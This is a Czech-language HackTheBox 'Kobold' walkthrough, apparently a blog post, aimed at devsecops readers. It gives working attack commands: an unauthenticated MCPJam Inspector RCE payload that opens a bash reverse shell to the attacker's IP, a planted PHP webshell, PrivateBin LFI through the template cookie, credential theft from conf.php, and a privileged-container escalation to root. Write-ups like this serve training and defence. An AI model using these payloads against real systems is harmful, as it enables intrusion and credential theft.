RCE přes MCPJam Inspector v HackTheBox Kobold: kompletní průvodce
HackTheBox Kobold (Sezóna 10, Easy) demonstruje reálnou hrozbu od vystavených vývojářských nástrojů v AI/ML ekosystému. Hlavní vektor je RCE v MCPJam Inspector v1.4.2 bez autentizace (GHSA-232v-j27c-5pp6). Následný řetězec přes Docker volumes a opakované použití přihlašovacích údajů vede k root. Rozbor pro middle/senior devsecops.
Nmap odhalí porty 22 (SSH), 80/443 (nginx, kobold.htb), 3552 (Arcane dashboard). Klíčem je wildcard *.kobold.htb v SSL a subdoména mcp.kobold.htb s otevřeným MCPJam Inspector.
Průzkum a enumerace
Standardní nmap:
nmap -p- -sC -sV -oN recon/nmap/full.txt <Target IP>
| Port | Služba | Verze | Poznámky |
|------|--------|--------|---------|
| 22 | SSH | OpenSSH 9.6p1 | Bez CVE |
| 80 | HTTP | nginx 1.24.0 | Přesměrování na HTTPS |
| 443 | HTTPS | nginx 1.24.0 | kobold.htb |
| 3552 | HTTP | - | Arcane dashboard |
ffuf pro vhost:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154
Nalezen mcp.kobold.htb — MCPJam Inspector v1.4.2. Plný přístup: Servers, Chat, App Builder bez přihlášení. Připojen Ollama.
Model Context Protocol (MCP) — protokol pro integraci AI modelů s externími nástroji. Inspector naslouchá na 0.0.0.0, API /api/mcp/connect přijímá serverConfig.command bez validace.
První průnik: RCE v MCPJam
Listener:
nc -lvnp 4444
Payload:
curl -k https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<Your IP>/4444 0>&1"],"env":{}},"serverId":"pwn"}'
Shell jako ben (uid=1001, groups=ben,operator). Stabilizace:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z; stty raw -echo; fg
export TERM=xterm
User flag: /home/ben/user.txt.
Interní průzkum
id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
cat /etc/group | grep docker
# docker:x:111:alice
Uživatelé se shellem: root, ben, alice. ben — operator, alice — docker.
ss -tlnp ukazuje localhost:8080 (PrivateBin Docker), 6274 (MCPJam). Nginx config odhaluje bin.kobold.htb → localhost:8080.
Skupina operator má r/w k /privatebin-data/ — sdílený Docker volume.
find / -group operator 2>/dev/null
LFI v PrivateBin přes volume
PrivateBin 2.0.2 (CVE-2025-64714, GHSA-g2j9-g8r5-rg82). LFI přes cookie template při templateselection = true.
- Webshell v volume:
cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
- Provedení:
curl -k https://bin.kobold.htb/ \
-b "template=../data/pwn" \
-G --data-urlencode "cmd=id"
- Únik conf.php:
curl -k https://bin.kobold.htb/ \
-b "template=../data/pwn" \
-G --data-urlencode "cmd=cat /srv/cfg/conf.php"
Přihlašovací údaje MySQL: username privatebin, heslo uniklo.
Privesc: opakované použití přihlašovacích údajů
Kontrolní seznam:
- SSH (alice/ben/root + uniklé)
- su alice/root
- Arcane: arcane/arcane-admin + uniklé
Úspěch: arcane / <LEAKED_PASSWORD> v Arcane v1.13.0 na :3552.
V dashboardu plná kontrola Dockeru. Vytvoření kontejneru s privileged mount /host → root shell.
Co je důležité:
- Vystavené MCP nástroje (GHSA-232v-j27c-5pp6) — nový RCE vektor v AI infrastruktuře
- Sdílené Docker volumes + skupina operator = přístup k hostitelskému filesystému
- Opakované použití přihlašovacích údajů: výchozí uživatelská jména + uniklá hesla
- Řetězení LFI přes zapisovatelné volumes obchází izolaci kontejnerů
- Vždy enumerujte wildcard subdomény a interní služby
— Editorial Team
Zatím žádné komentáře.